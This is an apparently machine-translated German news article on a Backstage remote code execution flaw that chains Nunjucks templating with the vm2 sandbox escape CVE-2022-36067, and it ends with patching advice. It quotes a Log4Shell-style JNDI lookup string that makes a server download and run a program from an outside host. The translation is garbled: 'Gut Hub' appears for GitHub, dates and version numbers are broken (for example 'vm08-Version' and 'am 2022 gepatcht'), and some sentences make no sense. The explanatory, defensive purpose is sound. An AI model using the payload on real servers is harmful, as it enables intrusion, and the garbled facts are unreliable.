Log4Shell-ähnliche Codeausführungslücke in beliebtem Backstage-Entwicklungstool

Forscher des Cloud-Coding-Sicherheitsunternehmens Oxeye haben einen kritischen Fehler aufgeschrieben, den sie kürzlich im beliebten Cloud-Entwicklungs-Toolkit Backstage entdeckt haben.

Ihr berichten enthält eine Erklärung, wie der Fehler funktioniert, sowie Proof-of-Concept (PoC)-Code, der zeigt, wie er ausgenutzt werden kann.

Backstage ist ein sogenanntes Cloud-Entwicklerportal – eine Art Geschäftslogik-Backend, das es einfach macht, webbasierte APIs (Application Programming Interfaces) zu erstellen, damit Programmierer innerhalb und außerhalb Ihres Unternehmens mit Ihren Onlinediensten interagieren können.

In den Worten des Projekts selbst, ursprünglich bei Spotify entstanden, aber jetzt Open-Source auf Gut Hub:

Backstage ist eine offene Plattform zum Erstellen von Entwicklerportalen. Angetrieben von einem zentralisierten Softwarekatalog stellt Backstage die Ordnung in Ihren Microservices und Ihrer Infrastruktur wieder her und ermöglicht es Ihren Produktteams, hochwertigen Code schnell zu liefern – ohne die Autonomie zu beeinträchtigen.

Backstage vereinheitlicht alle Ihre Infrastruktur-Tools, Services und Dokumentationen, um eine durchgehend optimierte Entwicklungsumgebung zu schaffen.

Nein, wir wissen auch nicht wirklich, was das bedeutet, aber wir wissen, dass das Toolkit in JavaScript geschrieben ist und mit dem serverseitigen JavaScript-System ausgeführt wird node.js, und bezieht ein Netz von Lieferkettenabhängigkeiten aus dem NPM-Ökosystem ein.

NPM ist die Abkürzung für Knotenpaket-Manager, ein automatisiertes Toolkit, mit dem sichergestellt wird, dass Ihr Back-End-JavaScript-Code problemlos eine breite Palette von Open-Source-Bibliotheken nutzen kann, die beliebte, vorgefertigte Hilfstools für alles bieten, von Kryptografie und Datenbankverwaltung bis hin zu Protokollierung und Versionskontrolle.

Remote-Codeausführung

Leider könnte der heute offengelegte Fehler, wenn er nicht gepatcht wird, nicht authentifizierten Außenstehenden (locker gesagt jedem, der API-Verbindungen zu Ihren Servern herstellen kann) eine Möglichkeit geben, die Remote-Code-Ausführung (RCE) innerhalb der Geschäftslogik-Server in Ihrem Netzwerk auszulösen.

Glücklicherweise jedoch, wenn wir Oxeyes Beschreibung richtig interpretiert haben, hängt der Angriff, den sie für ihr Backstage RCE beschreiben, von einer Folge von Codierungsfehlern ab, die letztendlich von einem bestimmten Fehler abhängen, der bezeichnet wird CVE-2022-36067 in einer Supply-Chain-Komponente namens vm2, auf die sich Backstage stützt.

Falls Sie sich fragen, vm2 ist ein Allzweck-NPM-Modul, das eine „virtuelle Maschinen-Sandbox“ implementiert, die darauf abzielt, die Ausführung von potenziell riskantem JavaScript auf Ihren Servern etwas sicherer zu machen.

Dieser CVE-2022-36067-Fehler in vm2 war berichtet zurück im August 2022 von Oxeye selbst (der ihm den PR-freundlichen Namen „Sandbreak“ gab, weil es aus dem Sandkasten ausbrach) und zeitnah gepatcht vom vm2-Team vor fast drei Monaten.

Soweit wir sehen können, sollten Sie also als Backstage-Benutzer sicherstellen, dass Sie alle gefährdeten Komponenten in Ihrem Backstage-Setup gepatcht haben …

…aber wenn Sie vor all den Monaten die vm2-Komponente gepatcht haben, die für Sandbreak anfällig war, dann scheint es, dass Sie nicht direkt anfällig für den Exploit sind, der in Oxeyes jüngster Offenlegung beschrieben wird.

Wenn Ihre Backstage-Server so konfiguriert sind, wie es gute Cybersicherheitsrichtlinien vorschlagen würden, wobei eine Authentifizierung sowohl am Netzwerkrand als auch innerhalb des Netzwerks erforderlich ist, besteht kein Risiko, dass zufällige „nur zu Forschungszwecken“ von „hilfreichen“ Personen ermittelt werden um zu zeigen, dass sie an „Forschung zu Cyberbedrohungen“ interessiert sind.

Eine „Emmentaler“-Attacke

Einfach ausgedrückt sind die neu aufgedeckten Sicherheitsprobleme der Nebeneffekt einer Reihe von Sicherheitsproblemen, wie Löcher in Emmentalerscheiben, die nacheinander durchdrungen werden könnten, wenn ein Angreifer in der Lage ist, mindestens ein Loch auf jeder Scheibe auszurichten.

Nach unserem Verständnis enthält Backstage eine Komponente namens Scaffolder, die Ihnen, wie der Name schon sagt, hilft, die verschiedenen Add-Ons (bekannt als Plugins) zu verwalten, die Ihre Entwickler-Community möglicherweise möchte oder benötigt.

Scaffolder wiederum nutzt ein Nachrichtenprotokollierungssystem von Mozilla, das als Nunjucks bekannt ist und das sogenannte Zeichenfolgenvorlage in node.js Kreise, wie String-Interpolation in der Java-Welt und als String-Ersetzung für Systemadministratoren, die Befehlsshells wie Bash verwenden.

Wenn die String-Interpolation eine Glocke läutet, liegt das wahrscheinlich daran, dass sie das Herzstück der Log4Shell Sicherheitslücke zurück im Dezember 2021, und der Follina Fehler Mitte 2022.

Hier können Sie den Inhalt einer Protokollnachricht basierend auf speziellen „Codierungszeichen“ in einer Zeichenfolgenvorlage neu schreiben, sodass eine Zeichenfolge wie z $USER kann durch den Kontonamen ersetzt werden, der vom Server verwendet wird, oder ${PID} kann die aktuelle Prozess-ID abrufen.

Im Extremfall von Log4Shell die kurios aussehende Beschwörung ${jndi:ldap://example.com:8888/malware} könnte den Server direkt dazu verleiten, ein Programm mit dem Namen herunterzuladen malware für example.com und es stillschweigend im Hintergrund laufen lässt.

Mit anderen Worten, Sie müssen absolut sicherstellen, dass Daten, die von einer nicht vertrauenswürdigen Quelle, wie z. B. einem externen Benutzer, kommen, niemals blind an eine String-Templating- oder String-Interpolationsfunktion weitergegeben werden, um verwendet zu werden wie der Vorlagentext selbst.

Wenn beispielsweise ein entfernter Benutzer versucht, Ihren Server auszutricksen, indem er seinen Benutzernamen als ${{RISKY}} (vorausgesetzt, die Templating-Bibliothek verwendet ${{...}} als spezielle Markierung), müssen Sie sicherstellen, dass Ihr Protokollierungscode diesen böse aussehenden Text buchstäblich so aufzeichnet, wie er empfangen wurde …

…anstatt dem zu protokollierenden Text die Kontrolle über die Protokollierungsfunktion selbst zu überlassen!

Um es mit den Worten eines alten Kinderlieds zu sagen: Sie müssen sicherstellen, dass Sie am Ende nicht singen: „There's a hole in my ${{BUCKET}}, liebe Liza, liebe Liza, da ist ein Loch in meinem ${{BUCKET}}, liebe Lisa. Ein Loch!"

Eingehüllt in eine Sicherheitsdecke

Um fair zu sein, die vielleicht zu mächtige Templating-/Interpolationsfunktion von Nunjucks wird von Backstage in eine weitere Supply-Chain-Komponente gehüllt, nämlich in das oben erwähnte Sandboxing-System vm2, das die Gefahr einschränken soll, dass ein böswilliger Benutzer mit Sprengfallen umgehen könnte -abgefangene Eingabedaten.

Leider konnten die Oxeye-Forscher ihre neu entdeckten Code-Triggerpfade für String-Templates in Backstage + Scaffolder + Nunjucks mit der älteren Schwachstelle CVE-2022-36067 im vm2-Sicherheits-Wrapper koppeln, um eine potenzielle Remote-Code-Ausführung auf einem Backstage-Server zu erreichen .

Was ist zu tun?

Wenn Sie ein Backstage-Benutzer sind:

• Stellen Sie sicher, dass Sie die neuesten Versionen von Backstage und seinen Abhängigkeiten haben, einschließlich der plugin-scaffolder-backend Komponente. Laut Oxeye wurden die relevanten Fehler im Backstage-Code bis zum 01. September 2022 gepatcht, sodass alle offiziellen Point-Releases nach diesen Daten die Fixes enthalten sollten. Zum Zeitpunkt des Schreibens [2022-11-1T16:00Z] schließt dies Backstage ein 1.6.0, 1.7.0 machen 1.8.0, veröffentlicht am 2022, 09 bzw. 21.
• Überprüfen Sie, ob für Ihre Backstage-Installation die Authentifizierung wie erwartet konfiguriert ist. Oxeye behauptet, dass die Authentifizierung standardmäßig deaktiviert ist und dass nach dem Befolgen der Backstage-Richtlinien, Backend-Server (die wahrscheinlich sowieso nicht extern exponiert werden sollen) erlaubten weiterhin den nicht authentifizierten Zugriff. Das ist vielleicht das, was Sie wollen, aber wir empfehlen, dieses Problem als Grund zu verwenden, um zu überprüfen, ob Ihre Einrichtung Ihren Absichten entspricht.
• Prüfen Sie, welche Teile Ihrer Backstage-Infrastruktur aus dem Internet erreichbar sind. Nehmen Sie dieses Problem noch einmal zum Anlass, Ihr eigenes Netzwerk von außen zu scannen, falls Sie dies in letzter Zeit nicht getan haben.

Wenn Sie ein node.js/NPM-Benutzer sind:

• Stellen Sie sicher, dass Sie über die neueste Version der vm2-Sandbox-Komponente verfügen. Möglicherweise haben Sie dies als Abhängigkeit anderer von Ihnen verwendeter Software installiert, auch wenn Sie Backstage nicht haben. Die Schwachstelle CVE-2022-36067 wurde am 2022 gepatcht, Sie möchten also die vm08-Version 3.9.11 oder höher.

Wenn Sie ein Programmierer sind:

• Seien Sie so defensiv wie möglich, wenn Sie leistungsstarke Protokollierungsfunktionen aufrufen. Wenn Sie einen Protokollierungsdienst (einschließlich Nunjucks oder Log4J) verwenden, der leistungsstarke Templating-/Interpolationsfunktionen enthält, deaktivieren Sie alle Funktionen, die Sie nicht benötigen, damit sie nicht versehentlich ausgenutzt werden können. Stellen Sie sicher, dass nicht vertrauenswürdige Eingaben niemals selbst als Vorlage verwendet werden, und verhindern Sie so, dass Angreifer ihre eigenen direkt gefährlichen Eingabezeichenfolgen rollen.
• Ungeachtet anderer getroffener Vorsichtsmaßnahmen bereinigen Sie Ihre Logging-Eingänge und -Ausgänge. Denken Sie daran, dass in Zukunft jemand anderes Ihre Protokolldateien öffnen muss. Lassen Sie nicht zu, dass versehentlich Sprengfallen in Ihre Protokolldatei geschrieben werden, wo sie später Probleme verursachen könnten, wie z. B. HTML-Fragmente mit darin belassenen Skript-Tags. (Jemand könnte die Datei versehentlich in einem Browser öffnen.)

Selbst wenn Sie Eingaben von einer vertrauenswürdigen Quelle erhalten, gibt es selten einen Grund, sie nicht Ihren eigenen Desinfektionsprüfungen zu unterziehen, bevor Sie sie verwenden.

(Sie können gelegentlich eine Ausnahme begründen, zum Beispiel aus Leistungsgründen, aber es sollte eine Ausnahme sein, nicht die Regel.)

Erstens hilft Ihnen die erneute Überprüfung, Fehler zu erkennen, die vorherige Programmierer in gutem Glauben gemacht haben könnten; Zweitens hilft es, die Verbreitung von schlechten oder mit Sprengfallen versehenen Daten zu begrenzen, wenn ein anderer Teil Ihres Ökosystems kompromittiert wird.

Die Sache mit den Emmentalerscheiben, die wir bereits erwähnt haben, ist, dass sie zwar durchlässig sind, wenn auf jedem Blatt mindestens ein Loch ausgerichtet ist …

…sie sind undurchlässig, wenn mindestens ein Blatt Löcher hat, die nicht übereinander liegen!

---